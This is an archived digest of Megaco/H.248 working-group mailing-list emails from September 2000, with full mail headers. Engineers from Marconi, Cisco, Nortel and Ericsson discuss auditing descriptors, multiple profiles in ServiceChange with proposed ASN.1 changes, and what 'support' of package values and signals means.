Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9054B@standards.nortelnetworks.com>; Tue, 5 Sep 2000 17:39:52
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id RAA07225 for <megaco@standards.nortelnetworks.com>; Tue, 5
          Sep 2000 17:52:51 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id RAA00884 for <megaco@standards.nortelnetworks.com>; Tue, 5
          Sep 2000 17:52:52 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHP5D>; Tue, 5 Sep 2000 17:52:52 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF6787FE@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 5 Sep 2000 17:52:45 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Auditing Local/Remote
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Anyone remember why we do not allow you to Audit Local and/or
Remote?

You can audit Media.

I think it's an oversight.

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 19:05:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA15269
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 19:05:04 -0400 (EDT)
Received: from standards (47.234.32.16:3243) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB905B5@standards.nortelnetworks.com>; Tue, 5 Sep 2000 18:50:25 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18198 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 18:50:25 -0400
Received: from sj-msg-core-2.cisco.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB905AA@standards.nortelnetworks.com>; Tue, 5 Sep 2000 18:40:24
          -0400
Received: from mira-sjc5-1.cisco.com (mira-sjc5-1.cisco.com [171.71.163.15]) by
          sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id PAA19433; Tue, 5
          Sep 2000 15:53:46 -0700 (PDT)
Received: from cisco.com (dhcp-171-71-145-125.cisco.com [171.71.145.125]) by
          mira-sjc5-1.cisco.com (Mirapoint) with ESMTP id ACY10175 (AUTH
          pmelanah); Tue, 5 Sep 2000 15:52:44 -0700 (PDT)
X-Mailer: Mozilla 4.5 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B5792B.E442EB5E@cisco.com>
Date:         Tue, 5 Sep 2000 15:52:27 -0700
Reply-To: Paddu Melanahalli <pmelanah@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Paddu Melanahalli <pmelanah@CISCO.COM>
Organization: Cisco Systems
Subject:      Megaco - benifits
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi,
   Does any body have some presentation/general purpose
   material which will explain the benifits of using
   H.248? Or point me some web sites....

Thanks in advance
Paddu
--
                Enthusiasm
You can do anything... if you have Enthusiasm.
Enthusiasm is the yeast makes your hopes rise to the stars.
Enthusiasm is the sparkle in you eyes.
Enthusiasm   with it there is accomplishment,
                       without it there are only alibis
                                     --- Henry Ford's motto
________________________________________________________

C i s c o  S y s t e m s.  Paddu Melanahalli, NSSU
Voice:(408)525 5236 Fax: (408)527 1568  Pgr:(408)788 8275
 Email: pmelanah@cisco.com
________________________________________________________


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 21:49:21 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA18234
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 21:49:20 -0400 (EDT)
Received: from standards (47.234.32.16:2495) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9064E@standards.nortelnetworks.com>; Tue, 5 Sep 2000 19:49:43 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18422 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 19:49:43 -0400
Received: from qhars002.nortel.com (47.101.112.102:33593) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9064D@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          19:49:43 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Wed, 6 Sep 2000
          01:02:43 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Tue, 5 Sep
          2000 20:02:20 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PF5Y3>; Tue, 5 Sep 2000 20:02:20 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D1C@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 20:02:14 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Auditing Local/Remote
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I think it's precisely because you can audit Media.  We just never thought
about making it finer.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Tuesday, September 05, 2000 5:53 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Auditing Local/Remote
>
>
> Anyone remember why we do not allow you to Audit Local and/or
> Remote?
>
> You can audit Media.
>
> I think it's an oversight.
>
> Brian
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 21:49:21 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA18243
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 21:49:21 -0400 (EDT)
Received: from standards (47.234.32.16:3824) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9068B@standards.nortelnetworks.com>; Tue, 5 Sep 2000 20:32:21 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18504 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 20:32:21 -0400
Received: from qhars002.nortel.com (47.101.112.102:35116) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9068A@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          20:32:20 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Wed, 6 Sep 2000 01:45:10 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Tue, 5 Sep 2000 19:39:40 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC0PA5>; Tue, 5 Sep 2000 19:43:22 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D1D@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 19:43:15 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Megaco - benifits
X-To:         Paddu Melanahalli <pmelanah@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hughes Software Systems put out a good paper almost a year ago.  (Thread
"White paper on MGCP vs MEGACO - Final version", vbajaj@HSS.HNS.COM, 2 Nov
1999.  It is available in the Megaco list archives.

> -----Original Message-----
> From: Paddu Melanahalli [mailto:pmelanah@CISCO.COM]
> Sent: Tuesday, September 05, 2000 6:52 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Megaco - benifits
>
>
> Hi,
>    Does any body have some presentation/general purpose
>    material which will explain the benifits of using
>    H.248? Or point me some web sites....
>
> Thanks in advance
> Paddu
> --
>                 Enthusiasm
> You can do anything... if you have Enthusiasm.
> Enthusiasm is the yeast makes your hopes rise to the stars.
> Enthusiasm is the sparkle in you eyes.
> Enthusiasm   with it there is accomplishment,
>                        without it there are only alibis
>                                      --- Henry Ford's motto
> ________________________________________________________
>
> C i s c o  S y s t e m s.  Paddu Melanahalli, NSSU
> Voice:(408)525 5236 Fax: (408)527 1568  Pgr:(408)788 8275
>  Email: pmelanah@cisco.com
> ________________________________________________________
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 01:58:45 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27243
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 01:58:44 -0400 (EDT)
Received: from standards (47.234.32.16:4196) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90766@standards.nortelnetworks.com>; Wed, 6 Sep 2000 1:43:13 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18785 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 01:43:13 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90761@standards.nortelnetworks.com>; Wed, 6 Sep 2000 1:33:13
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e865kAp18797; Wed, 6 Sep 2000 07:46:10 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          HAA18639; Wed, 6 Sep 2000 07:46:10 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id HAA10429; Wed, 6 Sep 2000
          07:46:07 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <353093573B82D411889E0000F808216648E329@zcard00q.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B5C830.A786F7CD@ericsson.com>
Date:         Wed, 6 Sep 2000 15:29:36 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         Peter Blatherwick <blather@nortelnetworks.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Peter,

I agree that the Profile mechanism isn't really well defined. I do see
that these will need to be defined shortly. With different
standardisation bodies working (MSF, ITU SG11, DSL Forum, 3gPP etc.
etc.) on different profiles and packages, multiple profiles are going to
be a reality very shortly.

Please see specific comments below [CHG]

Cheers, Christian

Peter Blatherwick wrote:
>
> Formal rules for what a profile can and cannot specify are not
> currently defined.  At one point, I proposed some rules, but these
> turned out to be contentious, were not agreed, and have not been
> followed up. This issue was deferred to later version of the
> Megaco/H.248 Protocol in the Washington meeting last year, if I recall
> correctly, and left at the 1 profile rule we currently have in place.
> Without these formal rules, it is difficult to know what the effect of
> allowing multiple profiles would be.  Therefore, I think its better
> *for now* to stick with a single profile.  I don't consider it an
> error, but actually an intentional decision.
>
> Several side effects of allowing multiple profiles would be difficult
> to sort out.  For example, profiles can (and I believe in many cases
> absolutely must) specify which optional aspects are used by the MG
> side, for example making specific selection on encoding and
> transport.  Profiles may also define specific termination
> organization, naming conventions etc.
[CHG] Yes I agree. I think the MSF IAs and BICC profile start to do
this.

> If an MG supports 2 or more
> profiles, and these do not each make the same selections or
> assumptions, how to sort out which are actually in use?

[CHG] I would have thought that a profile is tied to an application. ie.
if the MGC is using BICC then it would pick the BICC profile for that
part of the call. If the network side was BICC and the access was
Ipphone then it would pick the IP phone Profile to handle the access.

> This quickly
> becomes a deep rat hole, and could add enormously to the complexity of
> both MG and MGC applications, while not helping interoperability
> (maybe even hurting it).  This defeats the intent of profiles -- to
> improve interoperability and provide simplifying assumptions for
> specific applications of the Protocol.
[CHG] I still believe it does provide this. It still specifies for a
particular application what options and packages you use. I don't
believe equipment is limited to one application.

>
> Since profiles essentially define particular applications of the
> Megaco/H.248 Protocol, what the current rule is really saying is an MG
> supports 1 application if it uses a profile to declare this to its
> controlling MGC.  Of course, multiple virtual MGs could still be in
> operation on the same physical device, or profiles could be defined
> which capture more than one application, so there are ways around
> this.
[CHG] I'd be interested in exploring this a little further. Can you give
more details?

>
> Looking forward a bit, to definition of the profile rules, one
> possible approach would be to provide a formalism for profiles to be
> extended and/or versioned, similar to the sub-classing-like approach
> used by package definition now.  This would mean we could build
> profiles on each other without having contentions over optional
> elements.
[CHG] Again I agree that as soon as we start developing profiles that we
should consider future changes. However with the limits of the profile
mechanism as it is now should we just give up on signalling the profile
and just rely on the documentation of the functionality in the profile
to provide interoperability. Just use packages as Brian alluded to.

>
> I remain quite interested in this topic, and feel this would be a good
> thing to include in any extension of the Megaco WG's charter for
> consideration in version 2 (once some version 1 implementation
> experience is gained of course).
>
> For implementor's guide, I suggest some explanatory text on what
> profiles are intended to do would be in order, but don't think the
> implementor's guide should modify the Protocol.
[CHG] Yes we could put some text in the implementor's notes section.

>
> -- Peter Blatherwick
>
> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> Sent: Monday, September 04, 2000 20:58
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Profiles in Service Change
>
> G'Day all,
>
> I discussion on another email exploder (MSF) it was pointed out that
> the
> ServiceChange only supports one profile to be returned. I would have
> thought that a MG could support more than one profile.
>
> Do people consider this to be an error to be updated in the
> implementor's guide?
>
> If so the following changes probably would be necessary.
>
> 7.2.8 ServiceChange
> The optional ServiceChangeProfile parameter specifies the Profile[/s]
> (if any) of the protocol supported.  The ServiceChangeProfile includes
>
> the version of the profile supported.
>
> A.2
> ServiceChangeParm ::= SEQUENCE
> {
>         serviceChangeMethod     ServiceChangeMethod,
>         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
>         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> >>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile
> OPTIONAL,
>         serviceChangeReason     Value,
>         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
>                                     -- 32 bit unsigned integer
>         serviceChangeMgcId      MId OPTIONAL,
>         timeStamp               TimeNotation OPTIONAL,
>         nonStandardData         NonStandardData OPTIONAL,
>         ...
> }
>
> ServiceChangeResParm ::= SEQUENCE
> {
>         serviceChangeMgcId      MId OPTIONAL,
>         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
>         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> >>      serviceChangeProfile    SEQUENCE OF ServiceChangeProfile
> OPTIONAL,
>         ...
> }
>
> B.2
> >>      serviceChangeProfile = ProfileToken EQUAL NAME SLASH Version
>
> Cheers, Christian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 01:58:48 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27253
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 01:58:46 -0400 (EDT)
Received: from standards (47.234.32.16:4196) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9076B@standards.nortelnetworks.com>; Wed, 6 Sep 2000 1:43:15 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18786 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 01:43:15 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90762@standards.nortelnetworks.com>; Wed, 6 Sep 2000 1:33:15
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e865kFw06936; Wed, 6 Sep 2000 07:46:15 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          HAA18643; Wed, 6 Sep 2000 07:46:14 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id HAA10433; Wed, 6 Sep 2000
          07:46:11 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF01706A54@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B5C9C8.632AF07E@ericsson.com>
Date:         Wed, 6 Sep 2000 15:36:24 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian,

So does that mean that nobody can make an MG which supports more than
one profile? :-)

This seems to be a pretty big limitation to me. I know several companies
are developing MGs that are capable of being used in many different
scenarios. If one MGC can support H323-SIP, Sip-BICC, BICC-ISUP, VoDSL
Access, IpPhone, BICC-3gPP and the permutations of these I don't see why
the MG can only support one profile. I don't see that the development of
one profile to support all these possibilities is realistic but I do see
that a MG could support as these different accesses.

In the real world MGs will support multiple profiles and I think we need
to give advise in the Implementor's guide how this fits in with the
limited profile mechanism we have in H248v1.

Cheers, Christian

"Rosen, Brian" wrote:
>
> I do NOT consider it to be an error, and I think the whole idea
> of Profile is that an MG implements one.  The MGC, of course,
> can implement many (if it serves several kinds of gateways).
>
> While such a restriction could lead to lots of private profiles,
> it could also lead to a few commonly implemented profiles.
> The package mechanism is a wonderful thing, but it leads to
> lots of options, which leads to incompatible MGs and MGCs.
> Profiles are the way to group options into implement able sets
> so that MGs and MGCs can interoperate.
>
> If you have multiple profiles, then you might as well just
> have no profiles - the ServiceChange could return the package list.
>
> Brian
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > Sent: Monday, September 04, 2000 8:58 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Profiles in Service Change
> >
> >
> > G'Day all,
> >
> > I discussion on another email exploder (MSF) it was pointed
> > out that the
> > ServiceChange only supports one profile to be returned. I would have
> > thought that a MG could support more than one profile.
> >
> > Do people consider this to be an error to be updated in the
> > implementor's guide?
> >
> >
> > If so the following changes probably would be necessary.
> >
> > 7.2.8 ServiceChange
> > The optional ServiceChangeProfile parameter specifies the Profile[/s]
> > (if any) of the protocol supported.  The ServiceChangeProfile includes
> > the version of the profile supported.
> >
> > A.2
> > ServiceChangeParm ::= SEQUENCE
> > {
> >         serviceChangeMethod     ServiceChangeMethod,
> >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > >>      serviceChangeProfile    SEQUENCE OF
> > ServiceChangeProfile OPTIONAL,
> >         serviceChangeReason     Value,
> >         serviceChangeDelay      INTEGER(0..4294967295) OPTIONAL,
> >                                     -- 32 bit unsigned integer
> >         serviceChangeMgcId      MId OPTIONAL,
> >         timeStamp               TimeNotation OPTIONAL,
> >         nonStandardData         NonStandardData OPTIONAL,
> >         ...
> > }
> >
> > ServiceChangeResParm ::= SEQUENCE
> > {
> >         serviceChangeMgcId      MId OPTIONAL,
> >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > >>      serviceChangeProfile    SEQUENCE OF
> > ServiceChangeProfile OPTIONAL,
> >         ...
> > }
> >
> > B.2
> > >>      serviceChangeProfile = ProfileToken EQUAL NAME SLASH Version
> >
> >
> > Cheers, Christian
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 01:59:00 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA27267
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 01:58:48 -0400 (EDT)
Received: from standards (47.234.32.16:4196) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9077C@standards.nortelnetworks.com>; Wed, 6 Sep 2000 1:43:33 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18787 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 01:43:32 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90763@standards.nortelnetworks.com>; Wed, 6 Sep 2000 1:33:31
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e865kQw06990; Wed, 6 Sep 2000 07:46:26 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          HAA18656; Wed, 6 Sep 2000 07:46:25 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id HAA10445; Wed, 6 Sep 2000
          07:46:23 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D01@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B5D3B2.CDDAF339@ericsson.com>
Date:         Wed, 6 Sep 2000 16:18:42 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Support of Values in Packages
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Tom,

So am I correct in understanding that if we add values to what is
specified in a package that we don't need to extend the package? That's
what your comment below seems to imply.

I thought defaults were only provisioned, not additional values. ie in
Tone Package "Extensions to this package would add possible values for
tone id".

So I believe you still have this dilemma.

Cheers, Christian

Tom-PT Taylor wrote:
>
> There is a simple answer to the announcement dilemma, which is that I'm not
> sure announcement names need to be standardized.  I can think of only about
> five standard announcements in North American practice (as codified by
> Bellcore).  Everything else would be a matter of provisioning for local use.
>
> I would say tones are the best example of something many-valued that we'll
> have.
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > Sent: Sunday, September 03, 2000 8:00 PM
> > To: Taylor, Tom-PT [NORSE:B901:EXCH]
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Support of Values in Packages
> >
> >
> > G'Day Tom,
> >
> > If you think Codecs are a "Red-Herring" how about
> > Announcements? If you
> > have an MGC-MG that is operating as an anouncement server
> > which support
> > 100 announcements. You may want to place certain announcement
> > resources
> > across different MGs. Now you could have one package called the
> > Nortel-Announcement-Package or you could have the:
> > Nortel-Announcement-Package-1to20-for-AT&T
> > Nortel-Announcement-Package-1to30-for-MCI
> > Nortel-Announcement-Package-31-100-for-MCI
> > etc.etc.etc.
> >
> > If you have a strict rule that to be compliant to H.248 that you must
> > support all values of proporties and parameters by default
> > you can start
> > generating alot of packages when you don't need to and the
> > package space
> > is going to fill with really useless packages. Someting like
> > No. Packages for One Function = No. Vendors * No. of MG
> > configurations *
> > No. Customers
> >
> > Codecs are just one example of things that aren't linked, I
> > believe you
> > only need one case to disprove the rule.
> >
> > Cheers, Christian
> >
> > Tom-PT Taylor wrote:
> > >
> > > You make a valid point about "support" making fewer demands
> > on the MGC than
> > > on the MG in many cases.
> > >
> > > Just to frame the terms of discussion, I would suggest that
> > we use support
> > > in the strict sense that the recipient is capable of
> > carrying out the
> > > semantic intent, not just process the syntax.
> > >
> > > The key issues are predictability of MG behaviour vs.
> > package fragmentation.
> > > The codec example is (so far) a red herring, since I don't
> > recall a codec
> > > property in any of our packages.  Our solution to
> > open-ended lists to this
> > > point has been package extensions (cf toneids).  The hope
> > is that each such
> > > extension can cluster a reasonable number of items which
> > one might expect to
> > > be supported in the same device.  Something like codecs
> > would certainly dash
> > > that hope, since there is in general no linkage between the
> > support of one
> > > codec and the support of another.  We may just have to live
> > with this, in
> > > the sense that we end up registering lots of packages.  The
> > numbering space
> > > for package registration is pretty broad.
> > >
> > > -----Original Message-----
> > > From: Boyle, Kevin [NCRTP:3Z70:EXCH]
> > > Sent: Friday, August 25, 2000 2:01 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Support of Values in Packages
> > >
> > > Hello,
> > >
> > > A general question here:
> > >
> > > What, exactly, is meant by "support" of a signal?  Does
> > this mean that a
> > > gateway will absolutely know what the physical parameters
> > of the signal are,
> > > and will play it?  Or does it mean something a little less
> > than that, for
> > > instance, that the gateway will gracefully accept the
> > signal in question,
> > > not necessarily doing anything about it?
> > >
> > > Generally speaking, signals, and tones in particular, have
> > very precise
> > > definitions as to when and how they should be used.  So, if
> > there are no
> > > phones in need of a particular signal off of a gateway, in
> > theory, that
> > > signal would never be requested by the MGC.  However, if it
> > was, by the
> > > package definition, the MG would be required to support it.  Is it
> > > incorrect, then, for the MG to successfully acknowledge the signal
> > > application command, and then throw the signal away?  Maybe
> > the signal could
> > > be datafilled to be/do nothing in the MG, in which case
> > ignoring the signal
> > > would be a correct application of the signal to the line.
> > >
> > > MGCs have a little different issue with the meaning of
> > "support".  Just
> > > because a MGC supports the ability to generate a particular
> > signal to a MG,
> > > does not necessarily mean that MGC will ever do so.  In
> > this case, "support"
> > > becomes a pretty meaningless term.  If a signal is never going to be
> > > generated, then what does support really mean?  That the
> > MGC can generate
> > > the signal through manual intervention?
> > >
> > > The same argument about signal support in MGCs also applies
> > to events as
> > > well.  If we will never ask for a particular event, what
> > does support of
> > > that event mean?  For MGs, the same is not true.  A MG must
> > be able to
> > > report a supported event when it is requested in the Events
> > descriptor.  So
> > > support of events from a MG standpoint is fairly
> > straightforward.  Since
> > > properties and statistics are acted upon in both
> > directions, support is also
> > > a straightforward concept for these as well.
> > >
> > > I, too, agree that there is an issue regarding values, as
> > highlighted by the
> > > codec example.  In the same vein, there needs to be a
> > better definition of
> > > what support means, especially in regards to signals and
> > events.  I propose,
> > > as a starting point for discussion, that "support" of
> > signals in the MG
> > > means that the MG will accept the signal, and acknowledge
> > it without error,
> > > at the very minimum.  Any problem with MGs choosing to
> > ignore important
> > > signals will be rectified by the MG's inability to produce
> > quality telephone
> > > service without those signals.  "Support" in the MGC is a
> > little tougher
> > > issue, since support of a signal or event is invisible
> > until such time as
> > > the signal or event is requested.
> > >
